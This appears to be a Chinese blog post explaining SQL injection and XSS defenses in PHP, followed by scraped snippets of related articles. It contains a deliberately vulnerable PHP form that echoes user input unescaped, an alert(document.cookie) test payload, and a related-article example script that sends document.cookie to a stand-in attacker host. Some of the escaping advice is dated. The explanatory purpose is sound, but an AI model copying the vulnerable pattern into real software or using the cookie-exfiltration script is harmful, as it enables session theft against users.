web攻击方式和防御方法

在http请求报文中加载攻击代码,就能发起对web应用的攻击。通过url查询字段或者表单、http首部、cookie等途径吧攻击代码传入,若这时web应用存在安全漏洞,那内部信息就会遭到窃取!

对web的攻击模式有两种:

  1. 主动攻击(主动攻击服务器)
  2. 被动攻击(上传木马程序,用户访问时触发http陷阱)

实施的安全策略主要分为两步:

  1. 客户端验证
  2. 服务端验证(输入值验证,输出值转义)

两种主要的攻击方式

1.SQL注入攻击(php防止方法是使用mysqli_real_escape_string或者addslashes进行输入数据的转义)

2.XSS攻击(执行js代码获取用户的cookie等信息,进行验证。使用strip_tags和htmlspecialchars或者htmlentities)

sql攻击破解

<?php

$clean = array();

$mysql = array();

$clean[‘last_name‘] = "O‘Reilly";

$mysql[‘last_name‘] = mysql_real_escape_string($clean[‘last_name‘]);

$sql = "INSERT

INTO   user (last_name)

VALUES (‘{$mysql[‘last_name‘]}‘)";

?>

mysqli_real_escape_string

(PHP 5)

mysqli::real_escape_string -- mysqli_real_escape_string — Escapes
special characters in a string for use in an SQL statement, taking into account the current charset of the connection

尽量使用为你的数据库设计的转义函数。如果没有,使用函数addslashes()是最终的比较好的方法。

string addslashes ( string $str )

返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(‘)、双引号(")、反斜线(\)与
   NUL( NULL 字符)。

htmlspecialchars只是将下列的特殊字符转换成实体,htmlentities是将所有的有实体的html标签转换成对应的实体

  • ‘&‘ (ampersand) becomes ‘&amp;‘
  • ‘"‘ (double quote) becomes ‘&quot;‘ when ENT_NOQUOTES is not set.
  • "‘" (single quote) becomes ‘'‘ (or &apos;) only when ENT_QUOTES is
    set.
  • ‘<‘ (less than) becomes ‘&lt;‘
  • ‘>‘ (greater than) becomes ‘&gt;‘

防止xss攻击

//这是一个有xss攻击的php代码xss.php

<?php

if (isset($_POST[‘name‘])){

//     $str = trim($_POST[‘name‘]);  //清理空格

//     $str = strip_tags($str);   //去除html标签

//     $str = htmlspecialchars($str);   //将字符串内容转化成html实体

//     $str = addslashes($str);

//     echo $str;

echo $_POST[‘name‘];

}

setcookie("aaa",‘bbb‘);

?>

<form method="post" action="">

<input name="name" type="text" width="200">

<input type="submit" value="提交" >

</form>

当我访问该页面,并且输入框中输入<script>alert(document.cookie);</script>,下面是原始的页面

点击提交之后

点击确定按钮

注意head内部已经有我们提交的js代码。

如果我们取消代码中的红色的注释部分,再次执行

时间: 2024-11-08 20:26:14

web攻击方式和防御方法的相关文章

DDoS攻击、CC攻击的攻击方式和防御方法

DDoS介绍 DDoS是英文Distributed Denial of Service的缩写,意即"分布式拒绝服务",那么什么又是拒绝服务(Denial of Service)呢?可以这么理解,凡是能导致合法用户不能够访问正常网络服务的行为都算是拒绝服务攻击.也就是说拒绝服务攻击的目的非常明确,就是要阻止合法用户对正常网络资源的访问,从而达成攻击者不可告人的目的.分布式拒绝服务攻击一旦被实施,攻击网络包就会从很多DOS攻击源(俗称肉鸡)犹如洪水般涌向受害主机,从而把合法用户的网络包淹没

总结几种常见web攻击手段及其防御方式

本文简单介绍几种常见的攻击手段及其防御方式 XSS(跨站脚本攻击) CSRF(跨站请求伪造) SQL注入 DDOS web安全系列目录 总结几种常见web攻击手段极其防御方式 总结几种常见的安全算法 XSS 概念 全称是跨站脚本攻击(Cross Site Scripting),指攻击者在网页中嵌入恶意脚本程序. 案列 比如说我写了一个博客网站,然后攻击者在上面发布了一个文章,内容是这样的 <script>window.open("www.gongji.com?param="

总结几种常见web攻击手段极其防御方式

本文简单介绍几种常见的攻击手段及其防御方式 XSS(跨站脚本攻击) CSRF(跨站请求伪造) SQL注入 总结几种常见web攻击手段极其防御方式 XSS 概念 全称是跨站脚本攻击(Cross Site Scripting),指攻击者在网页中嵌入恶意脚本程序. 案列 比如说我写了一个博客网站,然后攻击者在上面发布了一个文章,内容是这样的 <script>window.open("www.gongji.com?param="+document.cookie)</scrip

Web前端攻击方式及防御措施

一.XSS [Cross Site Script]跨站脚本攻击 恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的.  1.Reflected XSS 基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击.Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中.  2.Stor

[转帖][思路/技术]Mimikatz的多种攻击方式以及防御方式

[思路/技术]Mimikatz的多种攻击方式以及防御方式 https://bbs.ichunqiu.com/thread-53954-1-1.html 之前学习过 抄密码 没想到还有这么多功能. 挖低危的清风i春秋作家 发表于 7 天前01372 本帖最后由 春风得意水先知 于 2019-9-25 23:50 编辑 Mimikatz的多种攻击方式以及防御方式 Mimikatz的简介:     Mimikatz为法国人Benjamin Delpy编写的一款轻量级的调试工具,在内网渗透过程中,它多数

什么是网络流量劫持?揭秘详解黑客劫持的攻击手段与防御方法

流量劫持是一种古老的网络攻击手段,在沉寂了一大段时间后,最近又开始闹的沸沸扬扬.众多知名品牌的路由器相继爆出存在安全漏洞,引来国内媒体纷纷报道.只要用户没改默认密码,打开一个网页甚至帖子,路由器配置就会被暗中修改,互联网一夜间似乎变得岌岌可危. 攻击还是那几种攻击,报道仍是那千篇一律的砖家安全提醒,以至于大家都麻木了.早已见惯运营商的各种劫持,频繁的广告弹窗,大家也无可奈何.这么多年也没出现过什么损失,也就睁只眼闭只眼. 事实上,仅仅被运营商劫持算是比较幸运了.相比隐匿在暗中的神秘黑客,运营商作

CSRF 攻击原理和防御方法

1. CSRF攻击原理 CSRF(Cross site request forgery),即跨站请求伪造.我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息.而CSRF确实,借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”. 一般而且存在XSS漏洞的网站,也极有可能存在CSRF漏洞.因为CSRF攻击中的那个“伪造的请求”的URL地址,一般是通过XSS攻击来注入到服务器中的.所以其实CSRF是以XSS为基础

xss原理、攻击方式与防御

xss原理: xss叫跨站脚本攻击,是Web程序中常见的漏洞只用于客户端的攻击方式,其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的.如,盗取用户Cookie.破坏页面结构.重定向到其它网站等.所以做网站的时候要明白一个道理:用户的输入是不可信的,所有可输入的地方都要进行数据进行处理才能杜绝xss攻击: xss攻击的二种方式: 1.反射型:一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人.通常为通

界面操作劫持攻击原理与防御方法

1. 攻击原理 界面劫持,分为点击劫持.拖放劫持.触屏劫持.就是我们的点击,拖放,触屏操作被劫持了,而去操作了其它的透明隐藏的界面.其原理是利用透明层+iframe,使用了css中的opacity和z-index等属性,来到达透明和位于其它界面的上方,然后使用iframe来嵌入劫持页面.到达了用户操作的不是它看到的,不是他以为的那个界面,而是那个透明的位于上层的界面. 2. 防御方法 有重要会话的交互页面不允许使用iframe嵌入,或者值允许被同域的iframe嵌入. 2.1 X-Frame-O